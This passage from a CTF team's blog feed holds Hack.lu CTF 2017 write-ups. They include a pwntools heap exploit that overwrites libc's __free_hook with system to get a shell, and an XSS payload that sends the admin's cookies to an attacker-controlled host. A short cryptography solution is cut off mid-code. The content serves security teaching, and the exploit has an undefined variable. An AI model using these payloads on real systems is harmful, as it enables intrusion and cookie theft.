&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> n%&lt;span style="color:#d0bf69">2&lt;/span> == &lt;span style="color:#d0bf69">1&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> helper(n//&lt;span style="color:#d0bf69">2&lt;/span>) + &lt;span style="color:#fc6a5d">&amp;#39;wi&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> helper(n//&lt;span style="color:#d0bf69">2&lt;/span>) + &lt;span style="color:#fc6a5d">&amp;#39;wa&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> q = helper(n)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> q[-&lt;span style="color:#d0bf69">2&lt;/span>:] == &lt;span style="color:#fc6a5d">&amp;#39;wa&amp;#39;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> q = q[:-&lt;span style="color:#d0bf69">2&lt;/span>] + &lt;span style="color:#fc6a5d">&amp;#39;we&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> q
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>libc_elf = ELF(&lt;span style="color:#fc6a5d">&amp;#34;./libc.so.6&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#p = process(&amp;#39;env LD_LIBRARY_PATH=. ./HeapHeaven&amp;#39;, shell=True)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>p = remote(&lt;span style="color:#fc6a5d">&amp;#34;flatearth.fluxfingers.net&amp;#34;&lt;/span>, &lt;span style="color:#d0bf69">1743&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#alloc&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">whaa&lt;/span>(num):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.recvuntil(&lt;span style="color:#fc6a5d">&amp;#34;NOM-NOM&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.sendline(&lt;span style="color:#fc6a5d">&amp;#34;whaa!&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.recvline()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.sendline(wiWaIfy(num))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#read&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">mommy&lt;/span>(num):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.recvuntil(&lt;span style="color:#fc6a5d">&amp;#34;NOM-NOM&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.sendline(&lt;span style="color:#fc6a5d">&amp;#34;mommy?&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.sendline(wiWaIfy(num))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.recvuntil(&lt;span style="color:#fc6a5d">&amp;#34;darling: &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> p.recvline(&lt;span style="color:#fc5fa3">False&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#write&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">spill&lt;/span>(num, val):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.recvuntil(&lt;span style="color:#fc6a5d">&amp;#34;NOM-NOM&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.sendline(&lt;span style="color:#fc6a5d">&amp;#34;&amp;lt;spill&amp;gt;&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.recvline()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.sendline(wiWaIfy(num))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.recvuntil(&lt;span style="color:#fc6a5d">&amp;#34;darling!&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.sendline(val)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#free&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">nom_nom&lt;/span>(num):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.recvuntil(&lt;span style="color:#fc6a5d">&amp;#34;NOM-NOM&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.sendline(&lt;span style="color:#fc6a5d">&amp;#34;NOM-NOM&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.sendline(wiWaIfy(num))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#phase 1 - libc leak&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>whaa(&lt;span style="color:#d0bf69">0x80&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>whaa(&lt;span style="color:#d0bf69">0x80&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nom_nom(&lt;span style="color:#d0bf69">0x20&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>r = mommy(&lt;span style="color:#d0bf69">0x20&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">while&lt;/span> &lt;span style="color:#d0a8ff">len&lt;/span>(r) &amp;lt; &lt;span style="color:#d0bf69">8&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r += &lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#fc6a5d">\0&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>arena = u64(r)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#0x3c4b78 arena offset&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>libc = arena - &lt;span style="color:#d0bf69">0x3c4b78&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d0a8ff">print&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;Arena: &lt;/span>&lt;span style="color:#fc6a5d">%lx&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span> % arena
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d0a8ff">print&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;Libc: &lt;/span>&lt;span style="color:#fc6a5d">%lx&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span> % libc
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nom_nom(&lt;span style="color:#d0bf69">0x20&lt;/span>+&lt;span style="color:#d0bf69">0x90&lt;/span>) &lt;span style="color:#6c7986">#to clean&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#phase 2 - happa leak&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>whaa(&lt;span style="color:#d0bf69">0x60&lt;/span>) &lt;span style="color:#6c7986">#A&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>whaa(&lt;span style="color:#d0bf69">0x60&lt;/span>) &lt;span style="color:#6c7986">#B&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>whaa(&lt;span style="color:#d0bf69">0x80&lt;/span>) &lt;span style="color:#6c7986">#C&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nom_nom(&lt;span style="color:#d0bf69">0x90&lt;/span>) &lt;span style="color:#6c7986">#B&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nom_nom(&lt;span style="color:#d0bf69">0x20&lt;/span>) &lt;span style="color:#6c7986">#A&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nom_nom(&lt;span style="color:#d0bf69">0x90&lt;/span>) &lt;span style="color:#6c7986">#B&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>r = read(&lt;span style="color:#d0bf69">0x20&lt;/span>) &lt;span style="color:#6c7986">#A&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">while&lt;/span> &lt;span style="color:#d0a8ff">len&lt;/span>(r) &amp;lt; &lt;span style="color:#d0bf69">8&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> r += &lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#fc6a5d">\0&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>happa = u64(r) - &lt;span style="color:#d0bf69">0x80&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d0a8ff">print&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;Happa: &lt;/span>&lt;span style="color:#fc6a5d">%lx&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span> % happa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#phase 3 - overwrite libc&amp;#39;s free_hook (cause GOT is rdonly)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>free_hook = libc + libc_elf.symbols[&lt;span style="color:#fc6a5d">&amp;#34;__free_hook&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d0a8ff">print&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;free_hook_ptr: &lt;/span>&lt;span style="color:#fc6a5d">%lx&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span> % free_hook_ptr
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>off = (free_hook_ptr - happa)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d0a8ff">print&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;Offset: &lt;/span>&lt;span style="color:#fc6a5d">%lx&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span> % off
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>spill(off, p64(libc + libc_elf.symbols[&lt;span style="color:#fc6a5d">&amp;#34;system&amp;#34;&lt;/span>]))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>spill(&lt;span style="color:#d0bf69">0x20&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;/bin/sh&lt;/span>&lt;span style="color:#fc6a5d">\x00&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>) &lt;span style="color:#6c7986">#A&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>p.sendline(&lt;span style="color:#fc6a5d">&amp;#34;NOM-NOM&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>p.sendline(&lt;span style="color:#d0bf69">0x20&lt;/span>) &lt;span style="color:#6c7986">#A -- open shell&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>p.interactive()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description><content type="html"><![CDATA[<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">wiWaIfy</span>(n):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">helper</span>(n):
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> n == <span style="color:#d0bf69">1</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">&#39;wi&#39;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> n%<span style="color:#d0bf69">2</span> == <span style="color:#d0bf69">1</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">return</span> helper(n//<span style="color:#d0bf69">2</span>) + <span style="color:#fc6a5d">&#39;wi&#39;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">return</span> helper(n//<span style="color:#d0bf69">2</span>) + <span style="color:#fc6a5d">&#39;wa&#39;</span>
</span></span><span style="display:flex;"><span>    q = helper(n)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> q[-<span style="color:#d0bf69">2</span>:] == <span style="color:#fc6a5d">&#39;wa&#39;</span>:
</span></span><span style="display:flex;"><span>        q = q[:-<span style="color:#d0bf69">2</span>] + <span style="color:#fc6a5d">&#39;we&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> q
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>libc_elf = ELF(<span style="color:#fc6a5d">&#34;./libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#p = process(&#39;env LD_LIBRARY_PATH=. ./HeapHeaven&#39;, shell=True)</span>
</span></span><span style="display:flex;"><span>p = remote(<span style="color:#fc6a5d">&#34;flatearth.fluxfingers.net&#34;</span>, <span style="color:#d0bf69">1743</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#alloc</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">whaa</span>(num):
</span></span><span style="display:flex;"><span>    p.recvuntil(<span style="color:#fc6a5d">&#34;NOM-NOM</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#fc6a5d">&#34;whaa!&#34;</span>)
</span></span><span style="display:flex;"><span>    p.recvline()
</span></span><span style="display:flex;"><span>    p.sendline(wiWaIfy(num))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#read</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">mommy</span>(num):
</span></span><span style="display:flex;"><span>    p.recvuntil(<span style="color:#fc6a5d">&#34;NOM-NOM</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#fc6a5d">&#34;mommy?&#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(wiWaIfy(num))
</span></span><span style="display:flex;"><span>    p.recvuntil(<span style="color:#fc6a5d">&#34;darling: &#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> p.recvline(<span style="color:#fc5fa3">False</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#write</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">spill</span>(num, val):
</span></span><span style="display:flex;"><span>    p.recvuntil(<span style="color:#fc6a5d">&#34;NOM-NOM</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#fc6a5d">&#34;&lt;spill&gt;&#34;</span>)
</span></span><span style="display:flex;"><span>    p.recvline()
</span></span><span style="display:flex;"><span>    p.sendline(wiWaIfy(num))
</span></span><span style="display:flex;"><span>    p.recvuntil(<span style="color:#fc6a5d">&#34;darling!</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(val)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#free</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">nom_nom</span>(num):
</span></span><span style="display:flex;"><span>    p.recvuntil(<span style="color:#fc6a5d">&#34;NOM-NOM</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#fc6a5d">&#34;NOM-NOM&#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(wiWaIfy(num))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#phase 1 - libc leak</span>
</span></span><span style="display:flex;"><span>whaa(<span style="color:#d0bf69">0x80</span>)
</span></span><span style="display:flex;"><span>whaa(<span style="color:#d0bf69">0x80</span>)
</span></span><span style="display:flex;"><span>nom_nom(<span style="color:#d0bf69">0x20</span>)
</span></span><span style="display:flex;"><span>r = mommy(<span style="color:#d0bf69">0x20</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#d0a8ff">len</span>(r) &lt; <span style="color:#d0bf69">8</span>:
</span></span><span style="display:flex;"><span>    r += <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>arena = u64(r)
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#0x3c4b78 arena offset</span>
</span></span><span style="display:flex;"><span>libc = arena - <span style="color:#d0bf69">0x3c4b78</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;Arena: </span><span style="color:#fc6a5d">%lx</span><span style="color:#fc6a5d">&#34;</span> % arena
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;Libc: </span><span style="color:#fc6a5d">%lx</span><span style="color:#fc6a5d">&#34;</span> % libc
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>nom_nom(<span style="color:#d0bf69">0x20</span>+<span style="color:#d0bf69">0x90</span>) <span style="color:#6c7986">#to clean</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#phase 2 - happa leak</span>
</span></span><span style="display:flex;"><span>whaa(<span style="color:#d0bf69">0x60</span>) <span style="color:#6c7986">#A</span>
</span></span><span style="display:flex;"><span>whaa(<span style="color:#d0bf69">0x60</span>) <span style="color:#6c7986">#B</span>
</span></span><span style="display:flex;"><span>whaa(<span style="color:#d0bf69">0x80</span>) <span style="color:#6c7986">#C</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>nom_nom(<span style="color:#d0bf69">0x90</span>) <span style="color:#6c7986">#B</span>
</span></span><span style="display:flex;"><span>nom_nom(<span style="color:#d0bf69">0x20</span>) <span style="color:#6c7986">#A</span>
</span></span><span style="display:flex;"><span>nom_nom(<span style="color:#d0bf69">0x90</span>) <span style="color:#6c7986">#B</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r = read(<span style="color:#d0bf69">0x20</span>) <span style="color:#6c7986">#A</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#d0a8ff">len</span>(r) &lt; <span style="color:#d0bf69">8</span>:
</span></span><span style="display:flex;"><span>    r += <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>happa = u64(r) - <span style="color:#d0bf69">0x80</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;Happa: </span><span style="color:#fc6a5d">%lx</span><span style="color:#fc6a5d">&#34;</span> % happa
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#phase 3 - overwrite libc&#39;s free_hook (cause GOT is rdonly)</span>
</span></span><span style="display:flex;"><span>free_hook = libc + libc_elf.symbols[<span style="color:#fc6a5d">&#34;__free_hook&#34;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;free_hook_ptr: </span><span style="color:#fc6a5d">%lx</span><span style="color:#fc6a5d">&#34;</span> % free_hook_ptr
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>off = (free_hook_ptr - happa)
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;Offset: </span><span style="color:#fc6a5d">%lx</span><span style="color:#fc6a5d">&#34;</span> % off
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>spill(off, p64(libc + libc_elf.symbols[<span style="color:#fc6a5d">&#34;system&#34;</span>]))
</span></span><span style="display:flex;"><span>spill(<span style="color:#d0bf69">0x20</span>, <span style="color:#fc6a5d">&#34;/bin/sh</span><span style="color:#fc6a5d">\x00</span><span style="color:#fc6a5d">&#34;</span>) <span style="color:#6c7986">#A</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p.sendline(<span style="color:#fc6a5d">&#34;NOM-NOM&#34;</span>)
</span></span><span style="display:flex;"><span>p.sendline(<span style="color:#d0bf69">0x20</span>) <span style="color:#6c7986">#A -- open shell</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p.interactive()
</span></span></code></pre></div>]]></content></item><item><title>Hack.lu CTF 2017 - Mistune</title><link>https://theromanxpl0.it/posts/2017/10/hack.lu-ctf-2017-mistune/</link><pubDate>Thu, 19 Oct 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/10/hack.lu-ctf-2017-mistune/</guid><description>&lt;ol>
&lt;li>We can send a message to the admin.&lt;/li>
&lt;li>The admin clicks on the links and we have to steal his cookies.&lt;/li>
&lt;/ol>
&lt;p>The idea is to use javascript to redirect the admin to a website we control.
We used one of the many free hosting sites&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-js" data-lang="js">&lt;span style="display:flex;">&lt;span>&amp;lt;javascript:&lt;span style="color:#d0a8ff">document&lt;/span>.location=&lt;span style="color:#fc6a5d">&amp;#39;hello.myserver.com/?cookie=&amp;#39;&lt;/span>+&lt;span style="color:#d0a8ff">document&lt;/span>.cookies&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description><content type="html"><![CDATA[<ol>
<li>We can send a message to the admin.</li>
<li>The admin clicks on the links and we have to steal his cookies.</li>
</ol>
<p>The idea is to use javascript to redirect the admin to a website we control.
We used one of the many free hosting sites</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>&lt;javascript:<span style="color:#d0a8ff">document</span>.location=<span style="color:#fc6a5d">&#39;hello.myserver.com/?cookie=&#39;</span>+<span style="color:#d0a8ff">document</span>.cookies&gt;
</span></span></code></pre></div>]]></content></item><item><title>Hack.lu CTF 2017 - Prime Enigma</title><link>https://theromanxpl0.it/posts/2017/10/hack.lu-ctf-2017-prime-enigma/</link><pubDate>Thu, 19 Oct 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/10/hack.lu-ctf-2017-prime-enigma/</guid><description>&lt;p>We have&lt;/p>
&lt;p>\begin{equation}
B = g^d \mod p
\label{eq:b}
\end{equation}&lt;/p>
&lt;p>\begin{equation}
k = A^d \mod p
\label{eq:k}
\end{equation}&lt;/p>
&lt;p>\begin{equation}
c = k m \mod p
\label{eq:c}
\end{equation}&lt;/p>
&lt;p>We know $B$, $g$, $p$, $A$ and $c$ and we want to recover $m$.&lt;/p>
&lt;p>The only unknown in \eqref{eq:b} is $d$.
Luckily $B = g^d \equiv p-1 \equiv -1 \mod p$
So $(g^d)^2 \equiv 1 \mod p$&lt;/p>
&lt;p>We also know that $g^{p-1} \equiv 1 \mod p$
So dividing repeatedly $p-1$ by $2$ we will get some $d&amp;rsquo;$ such that $g^{d&amp;rsquo;} \equiv -1 \mod p$&lt;/p></description><content type="html"><![CDATA[<p>We have</p>
<p>\begin{equation}
B = g^d \mod p
\label{eq:b}
\end{equation}</p>
<p>\begin{equation}
k = A^d \mod p
\label{eq:k}
\end{equation}</p>
<p>\begin{equation}
c = k m \mod p
\label{eq:c}
\end{equation}</p>
<p>We know $B$, $g$, $p$, $A$ and $c$ and we want to recover $m$.</p>
<p>The only unknown in \eqref{eq:b} is $d$.
Luckily $B = g^d \equiv p-1 \equiv -1 \mod p$
So $(g^d)^2 \equiv 1 \mod p$</p>
<p>We also know that $g^{p-1} \equiv 1 \mod p$
So dividing repeatedly $p-1$ by $2$ we will get some $d&rsquo;$ such that $g^{d&rsquo;} \equiv -1 \mod p$</p>
<p>Well $d = \frac{p-1}{2}$.</p>
<p>We can compute easily $k$ (we now know $A$, $d$ and $p$).
We compute his modular multiplicative inverse modulo $p$ and multiply that with $c$ to get $m$.</p>
<hr>
<h3 id="challenge">Challenge</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> secret <span style="color:#fc5fa3">import</span> flag, key
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>f = <span style="color:#d0a8ff">open</span>(<span style="color:#fc6a5d">&#39;ciphertext.txt&#39;</span>, <span style="color:#fc6a5d">&#39;w&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p = ...
</span></span><span style="display:flex;"><span>g = <span style="color:#d0bf69">5</span>
</span></span><span style="display:flex;"><span>A = ...
</span></span><span style="display:flex;"><span>d = key
</span></span><span style="display:flex;"><span>m = <span style="color:#d0a8ff">int</span>(flag.encode(<span style="color:#fc6a5d">&#39;hex&#39;</span>), <span style="color:#d0bf69">16</span>) % p
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>B = <span style="color:#d0a8ff">pow</span>(g, d, p)
